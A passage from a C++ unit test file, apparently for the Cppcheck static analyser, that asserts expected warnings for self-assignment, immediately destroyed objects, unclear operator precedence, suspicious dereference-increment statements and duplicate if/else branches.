b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) 